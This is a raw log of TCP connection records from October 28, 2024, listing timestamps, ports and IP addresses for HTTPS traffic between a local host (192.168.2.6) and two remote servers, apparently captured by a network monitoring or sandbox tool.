Oct 28, 2024 02:07:20.083636999 CET	443	49747	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.083884001 CET	49747	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.083884001 CET	49747	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.083915949 CET	443	49747	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.128272057 CET	443	49738	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.128537893 CET	49738	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.128559113 CET	443	49738	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.129527092 CET	443	49738	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.129657030 CET	49738	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.130661011 CET	49738	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.130661011 CET	49738	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.130678892 CET	443	49738	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.130723000 CET	443	49738	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.138271093 CET	443	49740	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.138458014 CET	443	49740	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.141410112 CET	49740	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.141452074 CET	49740	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.141452074 CET	49740	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.141473055 CET	443	49740	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.141494036 CET	443	49740	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.142673016 CET	443	49739	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.142838001 CET	443	49739	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.143893957 CET	49748	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.143924952 CET	443	49748	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.143963099 CET	49739	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.143963099 CET	49739	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.143987894 CET	49748	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.144052029 CET	49739	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.144083977 CET	443	49739	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.144304037 CET	49748	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.144319057 CET	443	49748	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.145848989 CET	49749	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.145883083 CET	443	49749	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.146557093 CET	49749	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.146708965 CET	49749	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.146728992 CET	443	49749	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.157725096 CET	443	49741	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.157783985 CET	443	49741	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.157969952 CET	49741	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.157969952 CET	49741	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.158129930 CET	49741	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.158138990 CET	443	49741	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.162456036 CET	49750	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.162468910 CET	443	49750	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.166609049 CET	49750	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.166666985 CET	49750	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.166682005 CET	443	49750	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.180582047 CET	443	49737	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.181178093 CET	443	49737	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.181359053 CET	49737	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.181360006 CET	49737	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.181407928 CET	49737	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.181427956 CET	443	49737	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.186474085 CET	49751	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.186507940 CET	443	49751	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.190659046 CET	49751	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.190659046 CET	49751	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.190706015 CET	443	49751	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.240044117 CET	49738	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.240057945 CET	443	49738	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.400908947 CET	443	49738	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.400949001 CET	443	49738	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.401030064 CET	443	49738	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.401063919 CET	49738	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.401093006 CET	443	49738	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.401249886 CET	49738	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.402424097 CET	443	49738	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.402563095 CET	49738	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.402862072 CET	49738	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.402899027 CET	443	49738	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.403017044 CET	49738	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.681401014 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.681947947 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.681971073 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.682964087 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.683079958 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.683474064 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.683474064 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.683537006 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.733133078 CET	443	49745	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.733431101 CET	49745	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.733498096 CET	443	49745	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.734487057 CET	443	49745	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.734682083 CET	49745	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.735023022 CET	49745	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.735023022 CET	49745	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.735096931 CET	443	49745	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.741599083 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.741669893 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.788530111 CET	49745	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.788572073 CET	443	49745	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.816210032 CET	443	49747	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.817457914 CET	49747	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.817459106 CET	49747	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.817483902 CET	443	49747	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.817493916 CET	443	49747	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.842009068 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.842014074 CET	49745	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.877193928 CET	443	49749	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.877974987 CET	49749	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.878019094 CET	443	49749	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.878715038 CET	49749	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.878724098 CET	443	49749	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.881689072 CET	443	49748	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.882329941 CET	49748	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.882369995 CET	443	49748	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.882946014 CET	49748	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.882952929 CET	443	49748	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.893610001 CET	443	49750	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.893954039 CET	49750	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.893965006 CET	443	49750	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.894526958 CET	49750	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.894532919 CET	443	49750	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.926215887 CET	443	49751	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.927711964 CET	49751	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.927736044 CET	443	49751	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.929415941 CET	49751	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.929424047 CET	443	49751	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.929855108 CET	443	49746	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.930135965 CET	49746	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.930156946 CET	443	49746	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.931596994 CET	443	49746	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.931684017 CET	49746	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.932687998 CET	49746	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.932774067 CET	443	49746	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.948343039 CET	443	49747	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.948401928 CET	443	49747	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.948709965 CET	49747	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.948709965 CET	49747	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.949173927 CET	49747	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.949188948 CET	443	49747	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.951258898 CET	49752	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.951380968 CET	443	49752	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.951522112 CET	49752	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.951658964 CET	49752	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:20.951695919 CET	443	49752	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:20.968456984 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.968502998 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.968539000 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.968568087 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.968605042 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.968622923 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.968657970 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.969333887 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.972575903 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.972585917 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.974170923 CET	49746	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.974179029 CET	443	49746	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.976938963 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:20.977307081 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:20.977317095 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.006200075 CET	443	49745	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.010138035 CET	443	49749	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.010283947 CET	443	49749	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.010369062 CET	49749	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.013029099 CET	443	49748	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.013221025 CET	443	49748	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.013303995 CET	49748	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.020930052 CET	49746	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.021347046 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.021358967 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.022682905 CET	443	49750	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.022912979 CET	443	49750	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.024689913 CET	49750	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.052215099 CET	49745	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.052261114 CET	443	49745	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.063369036 CET	443	49751	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.065959930 CET	443	49751	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.068548918 CET	49751	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.072706938 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.097760916 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.097820997 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.097851992 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.097891092 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.097907066 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.097915888 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.097929001 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.097949982 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.098001957 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.098011971 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.099066973 CET	49745	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.101401091 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.104491949 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.104501009 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.110403061 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.110940933 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.110950947 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.120481014 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.120553017 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.120565891 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.133827925 CET	443	49745	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.133884907 CET	443	49745	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.133966923 CET	49745	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.134526014 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.134574890 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.134586096 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.135701895 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.136697054 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.136706114 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.154057980 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.154083967 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.154155970 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.154166937 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.154232979 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.206757069 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.207375050 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.207477093 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.207489967 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.207562923 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.209433079 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.209440947 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.210932970 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.212644100 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.212651968 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.219676018 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.221184015 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.221193075 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.226241112 CET	49749	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.226264000 CET	443	49749	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.226317883 CET	49749	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.226326942 CET	443	49749	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.228457928 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.228544950 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.228553057 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.230021000 CET	49751	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.230027914 CET	443	49751	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.230061054 CET	49751	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.230066061 CET	443	49751	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.237317085 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.240657091 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.240667105 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.247621059 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.248871088 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.248881102 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.254383087 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.255369902 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.255378962 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.256539106 CET	49748	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.256567955 CET	443	49748	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.256586075 CET	49748	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.256593943 CET	443	49748	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.257972956 CET	49750	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.257980108 CET	443	49750	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.257993937 CET	49750	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.257997990 CET	443	49750	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.262481928 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.262541056 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.262550116 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.313152075 CET	49753	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.313190937 CET	443	49753	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.313285112 CET	49753	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.314955950 CET	49753	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.314974070 CET	443	49753	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.316780090 CET	49754	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.316817999 CET	443	49754	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.316883087 CET	49754	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.317001104 CET	49754	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.317035913 CET	443	49754	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.317248106 CET	49745	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.317277908 CET	443	49745	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.317775965 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.317790985 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.324963093 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.325033903 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.325063944 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.325087070 CET	49755	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.325090885 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.325094938 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.325107098 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.325115919 CET	443	49755	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.325139046 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.325154066 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.325208902 CET	49755	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.325700045 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.329467058 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.329580069 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.329638958 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.329648972 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.329698086 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.338260889 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.344316006 CET	49756	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.344346046 CET	443	49756	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.344417095 CET	49756	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.344649076 CET	49755	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:21.344667912 CET	443	49755	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:21.346916914 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.346967936 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.346977949 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.355809927 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.355855942 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.355864048 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.355891943 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.355936050 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.364505053 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.372939110 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.372973919 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.373040915 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.373050928 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.373121023 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.381019115 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.389153004 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.393184900 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.393208981 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.444094896 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.444124937 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.444155931 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.444185019 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.444204092 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.444216013 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.444335938 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.444942951 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.445166111 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.445174932 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.448235989 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.448705912 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.448713064 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.460184097 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.460335970 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.460345030 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.466805935 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.467130899 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.467139006 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.474798918 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.476537943 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.476547003 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.485137939 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.485169888 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.485218048 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.485227108 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.485275030 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.491683006 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.508027077 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.508080959 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.508135080 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.508143902 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.508188963 CET	49744	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:21.550862074 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.562355995 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.562401056 CET	443	49744	142.250.186.68	192.168.2.6
Oct 28, 2024 02:07:21.562474012 CET	49744	443	192.168.2.6	142.250.186.68
